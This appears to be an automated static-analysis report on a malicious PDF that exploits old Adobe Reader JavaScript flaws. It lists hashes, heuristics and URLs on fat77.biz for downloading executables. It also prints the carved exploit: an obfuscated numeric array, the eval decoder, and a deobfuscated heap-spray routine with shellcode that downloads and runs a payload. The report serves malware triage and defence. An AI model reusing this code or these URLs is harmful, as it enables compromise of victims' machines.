Malicious PDF — malware analysis report

Static analysis result for SHA-256 2278849c18d24d8d…

MALICIOUS

PDF

7.9 KB Created: 2009-09-25 19:42:10 Authoring application: Eblasha 7.7.1.9 (via PDF Library 7.1.6.5) First seen: 2013-08-19
MD5: b536ac393b4d99d4bc56644d0cd7407b SHA-1: 56f9f75c2af706f30cc2798ab740efc7b4fd4c9e SHA-256: 2278849c18d24d8d203ec69b89c70ffab66b23bd55e9ee1258a3a568800015a6
606 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

The file is a PDF containing obfuscated JavaScript, flagged by multiple heuristics including PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL. The ML classifier and ClamAV detection strongly indicate maliciousness. The embedded JavaScript, likely responsible for downloading a second-stage payload, is the primary attack vector. The presence of `eval()` and `String.fromCharCode` suggests heavy obfuscation within the script.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-7238926-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7238926-0
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var abk=0, gjklnouwy='';abk<5298;abk++){gjklnouwy += String.fromCharCode(fra[abk]-'gIVcZfd'.substring(abk%'gIVcZfd'.length,abk%'gIVcZfd'.length+1).charCodeAt(0));}eval(gjklnouwy);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fat77.biz/myy/aegjkmpsw3.exe Referenced by PDF JavaScript
    • http://fat77.biz/myy/ghilmopsz3.exeReferenced by PDF JavaScript
    • http://fat77.biz/myy/gty3.exeReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21199 bytes
SHA-256: a7750b4df4534a11f6b14dfb277138d520ac90dbc13f06590d03536afdee34ff
Preview script
First 1,000 lines of the extracted script
var fra=[205,190,196,198,206,207,211,213,105,188,204,210,197,205,219,113,207,196,204,217,212,147,181,187,209,131,225,219,207,178,194,200,130,223,197,217,188,198,145,198,203,210,206,189,190,141,140,162,208,204,183,127,222,211,199,214,218,185,129,160,211,199,214,218,185,145,224,100,223,197,217,188,198,160,211,199,214,218,185,132,214,207,200,215,219,187,191,209,193,142,148,147,181,187,209,137,152,141,162,187,187,215,207,216,210,135,194,183,213,205,214,159,228,83,188,216,200,201,216,208,184,196,131,207,218,205,211,168,198,213,195,212,216,205,113,127,222,208,199,214,135,185,183,220,198,213,197,203,134,203,209,191,217,199,200,185,187,139,124,139,217,157,125,143,147,127,219,149,159,138,135,136,207,150,148,151,121,123,216,146,168,148,151,110,203,150,138,154,148,140,190,138,147,146,168,137,220,129,152,152,142,139,217,151,125,138,147,127,219,152,151,129,152,136,207,158,166,151,125,123,216,138,154,152,151,110,203,149,138,150,168,140,190,136,147,138,150,137,220,124,154,147,138,139,217,151,121,141,166,127,219,148,151,128,141,136,207,150,149,158,125,123,216,141,153,167,154,110,203,153,142,169,148,140,190,138,147,146,168,137,220,128,142,150,138,139,217,159,139,134,166,127,219,148,170,125,134,136,207,157,148,159,139,123,216,155,170,149,170,110,203,152,146,158,166,140,190,155,165,138,158,137,220,129,152,147,147,139,217,154,125,138,147,127,219,152,151,129,154,136,207,158,166,158,140,123,216,141,169,153,159,110,203,151,142,156,165,140,190,154,148,143,167,137,220,123,152,168,140,139,217,159,139,155,149,127,219,169,169,142,153,136,207,155,165,155,143,123,216,146,153,153,153,110,203,152,144,171,165,140,190,139,152,146,159,137,220,126,140,147,142,139,217,159,139,139,154,127,219,151,170,128,137,136,207,157,152,159,139,123,216,145,158,151,154,110,203,169,141,150,151,140,190,142,165,143,156,137,220,123,134,154,144,139,217,173,124,134,150,127,219,167,160,124,137,136,207,155,148,155,130,123,216,155,170,152,152,110,203,169,160,153,151,140,190,134,169,141,156,137,220,122,138,165,159,139,217,154,129,134,150,127,219,155,155,143,136,136,207,169,149,151,129,123,216,138,170,167,173,110,203,169,155,150,151,140,190,155,165,142,150,137,220,126,142,168,160,139,217,173,129,137,165,127,219,169,156,128,139,136,207,158,166,156,142,123,216,140,154,152,157,110,203,166,141,150,151,140,190,142,165,144,156,137,220,125,142,147,157,139,217,156,127,142,165,127,219,148,154,122,153,136,207,158,166,171,124,123,216,146,167,148,155,110,203,166,141,150,151,140,190,139,168,143,172,137,220,140,137,152,138,139,217,158,141,142,167,127,219,153,158,121,142,136,207,168,156,156,123,123,216,157,167,151,154,110,203,152,156,158,165,140,190,151,149,159,158,137,220,143,156,169,160,139,217,154,123,156,169,127,219,156,169,140,134,136,207,172,150,173,128,123,216,142,172,165,172,110,203,154,143,168,156,140,190,140,152,140,171,137,220,138,152,154,146,139,217,160,129,140,153,127,219,165,169,127,140,136,207,169,148,154,124,123,216,144,151,166,159,110,203,147,138,156,152,140,190,139,147,138,150,137,220,126,138,153,146,139,217,158,123,140,155,127,219,151,156,127,139,136,207,151,167,153,125,123,216,145,154,154,160,110,203,152,142,155,148,140,190,152,155,143,153,137,220,143,153,164,155,139,217,158,140,134,167,127,219,153,156,143,156,136,207,158,166,151,125,123,216,146,153,170,159,110,203,147,157,169,152,140,190,140,166,156,150,137,220,142,134,155,155,139,217,156,121,143,155,127,219,154,173,127,142,136,207,152,169,157,142,123,216,144,158,154,155,110,203,154,140,157,153,140,190,140,167,144,169,137,220,139,142,152,142,139,217,155,142,142,168,127,219,169,170,121,155,136,207,155,153,173,143,123,216,147,153,148,155,110,203,150,141,155,148,140,190,139,147,157,150,137,220,126,140,152,138,139,217,156,126,142,165,127,219,156,154,121,138,136,207,157,170,170,123,123,216,157,152,156,154,110,203,152,140,154,167,140,190,152,155,143,150,137,220,122,151,150,144,139,217,158,121,136,169,127,219,153,156,143,156,136,207,155,166,151,125,123,216,143,156,153,158,110,203,156,146,168,156,140,190,142,164,160,171,137,220,143,156,147,159,139,217,151,125,139,152,127,219,148,151,127,151,136,207,170,155,173,143,123,216,145,154,154,159,110,203,154,138,157,152,140,190,136,169,141,167,137,220,127,140,149,160,139,217,158,125,140,148,127,219,151,158,124,141,136,207,156,150,153,142,123,216,145,167,154,160,110,203,153,158,152,170,140,190,141,156,145,159,137,220,127,135,149,160,139,217,157,128,140,152,127,219,154,169,127,151,136,207,157,148,157,141,123,216,145,157,155,154,110,203,149,159,153,151,140,190,141,155,144,155,137,220,121,134,153,143,136,141,162,191,183,213,122,212,211,215,134,203,209,191,217,199,200,185,187,139,124,139,217,151,138,134,164,127,219,148,168,121,151,136,207,150,165,151,138,123,216,138,167,148,168,107,127,109,208,199,214,135,177,187,196,202,200,208,214,172,193,160,200,213,212,146,185,183,220,198,213,197,203,132,204,196,204,134,198,208,176,184,207,201,201,207,164,190,196,200,205,201,197,215,174,126,133,127,219,148,168,121,151,136,207,150,165,151,138,120,140,149,220,197,217,105,190,200,187,202,201,217,188,191,221,191,163,150,151,132,204,196,204,134,215,215,187,183,220,151,206,201,200,173,187,213,205,207,222,204,116,190,200,187,214,198,211,184,185,206,136,210,201,213,176,202,203,149,221,204,208,181,187,139,188,207,203,201,181,197,198,197,148,208,204,183,189,215,194,162,215,215,187,183,220,131,225,198,208,176,184,207,201,201,207,146,134,184,204,193,200,208,214,172,193,158,215,112,218,200,187,118,201,195,210,208,201,181,197,198,197,163,198,208,176,184,207,201,201,207,149,188,203,197,205,218,214,208,183,189,139,138,146,215,215,187,183,220,131,161,218,200,187,118,197,198,213,199,210,134,184,204,193,200,208,214,172,193,145,205,219,198,218,189,200,204,200,205,140,151,117,184,204,193,200,208,214,172,193,145,198,203,210,206,189,190,144,205,214,214,200,194,127,158,209,206,205,211,174,126,197,198,213,199,210,119,194,200,200,205,216,207,116,201,211,204,199,221,163,121,206,151,138,150,148,151,114,209,197,198,213,199,210,134,184,207,201,201,207,146,171,194,210,189,209,143,205,178,194,207,188,210,211,202,180,145,224,100,220,197,217,105,195,200,199,197,197,217,187,183,220,151,212,201,222,105,151,213,204,199,221,143,114,145,201,201,216,140,221,170,200,131,195,163,148,162,178,146,148,142,150,148,162,178,129,142,131,225,209,204,182,181,196,204,216,197,224,164,191,192,151,200,208,214,172,193,142,194,203,197,215,171,194,210,189,209,159,228,83,204,196,204,134,210,220,182,147,148,140,159,157,160,130,143,156,147,159,157,160,130,143,156,147,159,157,160,130,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,161,217,219,178,194,145,202,216,205,213,189,188,139,124,139,152,156,121,134,147,192,136,144,213,190,195,140,149,227,110,205,190,196,198,206,207,211,213,105,185,210,198,210,197,201,168,187,208,187,207,208,143,114,209,217,187,216,132,218,177,187,207,198,201,211,203,174,147,216,200,203,215,202,170,198,200,130,136,137,220,127,138,156,138,139,217,152,129,151,148,127,219,148,151,121,134,136,207,158,166,151,121,123,216,141,150,152,151,110,203,151,138,158,166,140,190,142,165,143,154,137,220,121,138,151,138,139,217,155,121,142,165,127,219,156,169,121,138,136,207,150,152,155,121,123,216,140,150,148,171,110,203,149,138,150,148,140,190,137,167,138,150,137,220,121,134,154,157,139,217,151,121,141,154,127,219,148,152,128,138,136,207,153,151,170,124,123,216,144,154,167,151,110,203,151,138,158,166,140,190,141,155,141,150,137,220,129,152,147,157,139,217,151,140,138,147,127,219,155,151,129,152,136,207,167,168,152,140,123,216,143,158,156,169,110,203,168,156,150,156,140,190,142,165,138,159,137,220,124,138,151,138,139,217,155,121,142,167,127,219,156,169,128,153,136,207,153,167,156,129,123,216,142,154,154,168,110,203,167,139,155,165,140,190,136,165,159,152,137,220,129,152,168,140,139,217,172,139,155,166,127,219,153,168,125,156,136,207,158,151,156,123,123,216,143,156,169,168,110,203,152,143,158,157,140,190,139,153,138,154,137,220,129,152,152,145,139,217,154,140,141,150,127,219,155,155,129,152,136,207,157,156,154,124,123,216,160,153,148,154,110,203,155,156,155,154,140,190,136,147,145,156,137,220,143,137,147,141,139,217,170,130,137,150,127,219,153,151,125,143,136,207,167,168,155,122,123,216,160,172,151,154,110,203,147,160,153,154,140,190,135,151,156,171,137,220,124,142,147,141,139,217,158,125,156,149,127,219,167,152,121,142,136,207,150,168,170,143,123,216,160,167,148,154,110,203,168,156,154,148,140,190,139,155,159,172,137,220,143,142,150,156,139,217,172,126,141,152,127,219,156,169,126,155,136,207,152,152,155,127,123,216,157,153,148,154,110,203,155,156,156,154,140,190,138,155,138,169,137,220,126,140,155,156,139,217,151,124,135,166,127,219,156,169,141,137,136,207,158,165,151,125,123,216,157,153,148,154,110,203,152,159,155,170,140,190,153,150,143,150,137,220,128,154,155,158,139,217,156,128,134,155,127,219,166,159,126,136,136,207,169,165,154,124,123,216,143,168,156,168,110,203,164,140,171,156,140,190,156,169,160,172,137,220,124,136,169,160,139,217,159,139,153,147,127,219,170,153,143,141,136,207,154,170,168,142,123,216,145,155,166,159,110,203,153,143,152,169,140,190,151,165,145,158,137,220,130,142,153,144,139,217,168,139,140,153,127,219,167,151,124,137,136,207,156,149,169,129,123,216,138,150,154,155,110,203,152,138,150,148,140,190,139,151,144,158,137,220,128,136,153,146,139,217,154,126,140,152,127,219,149,170,123,138,136,207,157,152,157,130,123,216,143,154,153,151,110,203,165,146,155,151,140,190,156,166,155,167,137,220,128,153,147,158,139,217,156,126,156,169,127,219,156,169,121,138,136,207,158,151,173,129,123,216,138,169,167,155,110,203,153,157,168,148,140,190,155,147,146,167,137,220,126,134,156,146,139,217,157,143,140,155,127,219,150,172,127,155,136,207,156,156,157,125,123,216,145,152,155,156,110,203,153,158,156,167,140,190,152,155,143,154,137,220,125,155,155,159,139,217,172,140,134,168,127,219,153,156,143,156,136,207,159,151,151,125,123,216,141,153,153,151,110,203,152,138,169,148,140,190,139,153,143,150,137,220,126,139,155,156,139,217,159,124,134,151,127,219,155,173,140,136,136,207,169,150,159,124,123,216,143,152,152,170,110,203,165,146,155,148,140,190,135,164,141,156,137,220,128,134,149,160,139,217,156,126,156,169,127,219,153,169,121,138,136,207,155,154,156,128,123,216,147,158,166,159,110,203,155,155,172,169,140,190,156,169,138,171,137,220,121,138,152,143,139,217,151,121,140,164,127,219,168,158,143,156,136,207,157,152,157,129,123,216,145,150,155,155,110,203,149,160,153,165,140,190,140,153,140,172,137,220,128,138,153,139,139,217,154,128,137,154,127,219,154,153,123,155,136,207,157,165,157,130,123,216,144,170,150,173,110,203,154,147,157,157,140,190,140,154,140,172,137,220,127,143,153,146,139,217,157,141,140,166,127,219,155,151,127,156,136,207,157,165,158,124,123,216,140,171,151,154,110,203,154,146,156,153,140,190,134,147,144,155,134,144,132,204,196,204,134,209,204,182,181,196,204,216,197,224,134,196,200,209,134,165,217,187,183,220,130,143,159,221,170,200,131,189,201,161,151,193,134,198,138,201,148,202,121,185,158,208,199,214,135,170,186,199,204,163,148,223,125,134,147,138,150,148,162,191,183,213,122,217,199,198,181,187,209,151,217,204,204,181,194,198,201,202,201,149,181,187,209,193,218,204,145,123,145,217,187,216,132,211,174,196,160,187,202,200,217,118,126,214,189,197,208,204,183,129,147,210,153,156,144,132,204,196,204,134,221,200,187,201,211,151,219,210,204,188,185,196,202,203,140,137,110,203,156,138,159,148,140,190,143,147,147,150,134,144,132,207,196,204,217,212,164,175,191,219,185,207,216,143,194,183,213,205,214,144,211,174,196,140,149,220,197,217,105,185,210,207,212,216,153,134,126,198,189,147,148,223,125,134,147,138,150,148,144,120,183,199,190,216,159,205,184,200,139,208,199,214,135,172,197,216,200,218,161,151,132,185,210,207,212,216,163,172,197,216,200,218,150,162,172,197,216,200,218,143,146,114,209,208,191,211,195,200,187,200,196,211,193,199,214,190,196,215,183,163,221,200,187,201,211,133,217,204,204,181,194,198,201,202,201,162,198,96,217,187,216,132,214,191,187,213,192,210,211,222,134,203,209,191,217,199,200,185,187,139,124,139,217,151,172,134,198,127,219,148,202,121,185,133,131,161,219,207,178,194,200,130,213,218,204,187,188,207,201,221,146,211,174,196,202,206,206,160,155,125,143,152,140,143,223,214,191,187,213,192,210,211,222,116,147,210,208,203,214,205,181,197,218,149,227,110,219,177,191,214,136,201,211,211,181,183,197,173,218,211,217,174,147,166,201,210,208,200,171,132,198,201,210,208,204,172,202,168,199,199,205,211,146,196,201,201,142,223,218,190,184,205,148,136,134,147,182,201,202,148,213,218,204,187,188,207,201,221,225,144,132,211,109,192,219,210,202,189,191,210,200,134,199,214,181,194,196,188,197,203,204,189,191,198,201,212,140,144,196,191,201,130,199,212,215,119,186,210,189,148,167,214,181,194,196,188,148,203,204,189,159,198,201,212,141,226,191,183,213,122,199,214,217,194,147,209,191,221,132,168,187,200,196,211,142,141,162,191,183,213,122,220,218,215,174,202,203,211,199,161,220,183,187,214,189,199,212,204,113,120,136,207,156,152,160,121,123,216,139,158,165,152,110,203,147,138,150,148,140,190,142,165,138,150,137,220,124,134,151,138,139,217,155,121,142,165,127,219,156,169,126,138,136,207,150,152,155,121,123,216,142,150,156,169,110,203,155,156,150,152,140,190,134,151,142,150,137,220,123,134,147,158,139,217,153,121,134,147,127,219,151,171,121,134,136,207,150,148,158,140,123,216,138,150,155,158,110,203,147,139,157,152,140,190,137,150,157,153,137,220,127,138,166,138,139,217,155,121,142,165,127,219,155,159,124,134,136,207,158,166,151,140,123,216,138,169,152,151,110,203,154,138,158,166,140,190,151,167,139,169,137,220,126,142,155,156,139,217,172,139,134,155,127,219,156,169,121,143,136,207,153,152,155,121,123,216,142,150,156,171,110,203,155,156,157,167,140,190,137,166,143,158,137,220,125,138,153,155,139,217,171,122,139,164,127,219,150,169,142,136,136,207,158,166,172,123,123,216,159,168,169,170,110,203,152,155,154,170,140,190,142,150,143,152,137,220,126,140,168,155,139,217,156,126,142,156,127,219,153,157,121,138,136,207,158,166,156,128,123,216,141,169,155,154,110,203,154,142,158,166,140,190,141,155,141,153,137,220,143,137,147,141,139,217,159,139,139,153,127,219,150,151,128,140,136,207,172,151,151,124,123,216,157,159,151,154,110,203,152,138,154,157,140,190,151,167,142,151,137,220,143,156,150,141,139,217,151,143,137,153,127,219,149,155,139,155,136,207,153,156,151,124,123,216,145,154,170,153,110,203,166,139,150,156,140,190,134,167,157,172,137,220,143,151,147,141,139,217,172,139,138,147,127,219,153,159,142,156,136,207,172,156,154,139,123,216,159,155,155,156,110,203,155,156,155,169,140,190,136,151,142,156,137,220,140,137,147,141,139,217,159,139,140,153,127,219,152,159,121,153,136,207,155,154,159,139,123,216,138,153,149,170,110,203,155,156,170,151,140,190,142,164,138,154,137,220,140,137,147,141,139,217,156,142,139,169,127,219,167,154,126,134,136,207,157,168,159,141,123,216,143,157,148,159,110,203,165,146,155,150,140,190,153,164,141,153,137,220,126,152,155,155,139,217,168,123,155,155,127,219,170,173,143,156,136,207,153,150,173,143,123,216,146,168,167,151,110,203,169,140,172,155,140,190,138,169,155,171,137,220,128,139,165,146,139,217,157,126,136,168,127,219,165,169,128,142,136,207,159,156,157,127,123,216,155,168,154,157,110,203,166,138,153,151,140,190,140,148,156,158,137,220,121,134,153,142,139,217,156,121,134,147,127,219,153,155,127,142,136,207,157,150,157,129,123,216,141,155,154,156,110,203,148,157,152,152,140,190,141,151,144,159,137,220,126,138,152,138,139,217,169,129,139,150,127,219,170,170,138,151,136,207,157,167,151,141,123,216,143,155,170,173,110,203,155,156,150,152,140,190,142,150,160,158,137,220,121,153,166,142,139,217,157,140,152,147,127,219,169,151,129,151,136,207,155,148,160,129,123,216,144,172,154,159,110,203,149,159,156,169,140,190,140,155,144,154,137,220,128,136,154,143,139,217,157,141,140,166,127,219,166,159,126,138,136,207,154,169,159,142,123,216,159,169,148,172,110,203,152,143,172,170,140,190,143,150,138,154,137,220,124,137,152,138,139,217,156,121,153,147,127,219,153,157,126,134,136,207,155,153,159,139,123,216,146,153,148,155,110,203,154,160,169,150,140,190,153,149,146,153,137,220,126,136,151,157,139,217,169,129,139,147,127,219,149,168,124,140,136,207,157,148,153,143,123,216,143,155,170,173,110,203,152,156,150,152,140,190,139,153,143,157,137,220,130,142,165,146,139,217,159,138,156,168,127,219,170,173,121,155,136,207,150,152,156,126,123,216,138,150,154,168,110,203,167,145,172,170,140,190,141,151,144,158,137,220,128,134,154,142,139,217,153,143,137,164,127,219,154,157,123,156,136,207,157,152,157,122,123,216,141,157,151,158,110,203,153,140,152,169,140,190,141,164,144,159,137,220,127,154,149,160,139,217,158,130,141,156,127,219,154,158,123,156,136,207,157,157,158,125,123,216,140,171,151,154,110,203,154,146,156,153,140,190,134,147,144,155,134,144,132,204,196,204,134,204,190,186,139,147,138,169,178,164,191,204,211,191,218,204,224,170,132,207,191,212,203,219,177,128,149,149,220,197,217,105,194,200,200,163,148,223,125,134,147,138,150,148,148,113,190,186,203,155,148,151,140,164,142,138,222,151,159,114,145,217,187,216,132,224,170,200,214,202,163,217,213,174,201,198,187,214,201,143,107,123,216,147,150,157,151,110,203,156,138,159,148,137,114,145,220,187,216,215,215,134,188,204,210,197,205,219,113,207,196,204,217,212,147,181,187,209,131,161,218,200,187,118,211,143,167,206,178,127,139,201,151,142,148,223,121,185,147,189,150,199,151,172,131,147,210,154,148,151,121,134,147,131,149,148,223,125,134,147,138,150,148,162,175,197,213,130,220,197,217,105,204,212,189,183,168,160,127,207,160,138,161,218,216,172,167,167,147,156,221,163,185,139,164,196,177,154,156,175,145,217,203,201,181,171,130,140,220,133,145,141,226,170,200,213,211,193,218,216,172,167,167,147,156,221,196,134,207,196,204,217,212,146,191,204,211,191,218,204,224,170,145,224,100,220,197,217,105,202,184,167,206,178,201,144,205,160,207,212,201,218,172,183,211,191,142,134,140,121,143,133,131,161,219,207,178,194,200,130,218,185,180,177,164,197,161,221,146,211,174,196,202,206,206,160,151,193,138,147,138,150,141,226,189,171,176,194,180,198,174,192,129,160,206,187,177,207,151,184,170,209,161,225,113,189,171,176,194,180,198,174,192,147,133,168,148,134,146,189,171,176,194,180,198,174,192,145,196,202,214,146,203,184,185,145,157,213,208,211,170,184,145,193,203,216,176,172,197,209,130,218,185,180,177,164,197,161,221,141,162,198,211,109,192,219,210,202,189,191,210,200,134,212,203,175,181,214,206,199,214,219,113,127,222,208,199,214,135,191,187,213,205,207,211,213,134,183,211,202,148,218,208,174,205,200,204,188,201,217,188,191,210,200,148,216,214,156,202,213,195,212,203,143,114,145,217,191,216,215,208,184,196,160,208,203,214,218,178,197,209,136,216,201,215,181,183,198,191,142,147,195,141,133,202,134,141,139,144,132,204,196,204,134,218,200,187,201,204,201,212,195,200,187,200,196,211,163,210,204,192,118,164,204,216,197,224,113,204,200,204,217,205,214,183,132,198,194,199,214,168,189,126,147,131,146,218,204,187,201,204,201,212,146,202,177,183,213,155,218,140,152,114,130,217,191,216,215,208,184,196,145,189,206,197,217,138,202,139,140,143,141,162,178,188,139,130,220,197,217,188,191,210,200,197,197,217,187,183,220,181,150,193,164,134,142,140,128,140,140,221,170,200,214,195,213,210,198,170,200,213,187,223,191,152,166,147,160,138,143,224,227,113,204,196,204,217,205,214,183,181,196,204,216,197,224,164,135,192,151,163,149,141,111,204,196,204,217,205,214,183,181,196,204,216,197,224,164,136,192,150,153,141,144,196,203,215,195,210,195,215,187,191,209,206,204,140,144,132,211,109,195,204,140,143,191,183,213,205,207,211,213,168,183,213,204,199,221,194,121,179,159,146,143,224,227,113,204,196,204,217,205,214,183,181,196,204,216,197,224,164,134,192,151,163,156,141,111,204,196,204,217,205,214,183,181,196,204,216,197,224,164,135,192,150,152,138,141,191,183,213,205,207,211,213,168,183,213,204,199,221,194,123,179,159,140,143,141,226,172,197,207,198,199,198,198,174,195,196,195,210,140,144,132,211,109,195,204,140,143,191,183,213,205,207,211,213,168,183,213,204,199,221,194,121,179,159,147,143,224,227,113,204,196,204,217,205,214,183,181,196,204,216,197,224,164,134,192,151,163,157,141,111,204,196,204,217,205,214,183,181,196,204,216,197,224,164,135,192,150,151,141,144,196,185,210,198,210,197,201,168,189,200,206,207,199,214,183,126,140,149,227,225,113,185,186,201,185,217,216,200,187,202,139,131,161];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1B52 184 bytes
SHA-256: d6d748a2bdf0922d0e5fe69de373051ed220b3e3c8c5d0270b288bc4cdd25ce7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var abk=0, gjklnouwy='';abk<5298;abk++){gjklnouwy += String.fromCharCode(fra[abk]-'gIVcZfd'.substring(abk%'gIVcZfd'.length,abk%'gIVcZfd'.length+1).charCodeAt(0));}eval(gjklnouwy);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5298 bytes
SHA-256: f5c5b19ac68633b00cecc20ddb61c065f57dcd7e9e4d32371130da3a36567d30
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7461%u3737%u622E%u7A69%u6D2F%u7979%u612F%u6765%u6B6A%u706D%u7773%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
